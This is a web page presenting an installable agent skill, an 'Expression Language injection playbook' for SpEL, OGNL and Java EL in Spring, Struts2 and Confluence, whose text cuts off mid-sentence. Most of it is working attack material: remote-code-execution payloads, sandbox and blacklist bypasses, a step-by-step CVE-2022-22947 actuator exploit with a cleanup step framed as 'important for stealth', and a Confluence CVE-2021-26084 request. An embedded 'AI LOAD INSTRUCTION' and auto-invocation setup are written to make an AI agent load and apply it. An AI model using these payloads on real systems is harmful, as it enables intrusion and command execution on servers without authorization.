Skip to content
Security
Skill

/expression-language-injection

Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.

From plugin
hack-skills
1.6k102 skills
Install
$ npx -y skills add yaklang/hack-skills --skill expression-language-injection --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/expression-language-injection

Context preview

The summary Claude sees to decide when to auto-load this skill.

Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.

SKILL.md

expression-language-injection.SKILL.md
name: expression-language-injection
description: >-
  Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.

SKILL: Expression Language Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, `_memberAccess` manipulation, actuator abuse, and real-world CVE chains.

0. RELATED ROUTING

  • [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) for template engines (Jinja2, FreeMarker, Twig) — different attack surface
  • [jndi-injection](../jndi-injection/SKILL.md) when EL evaluation leads to JNDI lookup

**Key distinction**: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (`${7*7}`) but diverge in exploitation.

---

1. DETECTION — POLYGLOT PROBES

${7*7}              → 49 = SpEL, OGNL, or Java EL
#{7*7}              → 49 = SpEL (alternative syntax) or JSF EL
%{7*7}              → 49 = OGNL (Struts2)
${T(java.lang.Math).random()}  → random float = SpEL confirmed
%{#context}         → object dump = OGNL confirmed

Disambiguation

| Response to `${7*7}` | Response to `%{7*7}` | Engine | |---|---|---| | 49 | literal `%{7*7}` | SpEL or Java EL | | literal `${7*7}` | 49 | OGNL (Struts2) | | 49 | 49 | Both may be active |

---

2. SpEL (SPRING EXPRESSION LANGUAGE)

Where SpEL Appears

  • `@Value("${...}")` annotations
  • Spring Security expressions (`@PreAuthorize`)
  • Spring Cloud Gateway route predicates and filters
  • Thymeleaf `th:text="${...}"` (when combined with `__${...}__` preprocessing)
  • Spring Data `@Query` with SpEL

RCE via Runtime.exec

${T(java.lang.Runtime).getRuntime().exec("id")}

RCE with Output Capture (Commons IO)

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

RCE with Output Capture (Spring StreamUtils)

#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}

ProcessBuilder (alternative when Runtime is blocked)

${new java.lang.ProcessBuilder(new String[]{"id"}).start()}

Spring Cloud Gateway — CVE-2022-22947

Exploit via actuator to add malicious route with SpEL filter:

# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}

# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh

# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output

# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh

SpEL Sandbox Bypass

When `SimpleEvaluationContext` is used (restricts `T()` operator):

// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

---

3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)

Where OGNL Appears

  • Apache Struts2 — primary OGNL consumer
  • Confluence Server — uses OGNL in certain request paths
  • Any Java app using `ognl.Ognl.getValue()` or `ognl.Ognl.setValue()`

Basic RCE

%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}

Struts2 Sandbox Bypass — _memberAccess Manipulation

Struts2 restricts OGNL via `SecurityMemberAccess`. Classic bypass clears restrictions:

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struts2 OgnlUtil Blacklist Clear

Later Struts2 versions use class/package blacklists. Bypass by clearing `excludedClasses` and `excludedPackageNames`:

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}

Key Struts2 CVEs

| CVE | Vector | Payload Location | |---|---|---| | S2-045 (CVE-2017-5638) | Content-Type header | `%{...}` in Content-Type | | S2-046 (CVE-2017-5638) | Multipart filename | OGNL in upload filename | | S2-016 (CVE-2013-2251) | `redirect:` / `redirectAction:` prefix | URL parameter | | S2-048 (CVE-2017-9791) | Struts Showcase | ActionMessage with OGNL | | S2-057 (CVE-2018-11776) | Namespace OGNL | URL path |

Confluence OGNL — CVE-2021-26084

Confluence Server allows OGNL injection via the `queryString` or action parameters:

POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contain
Read more
Ships withhack-skills

Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.

Get the whole plugin

Other skills on hack-skills.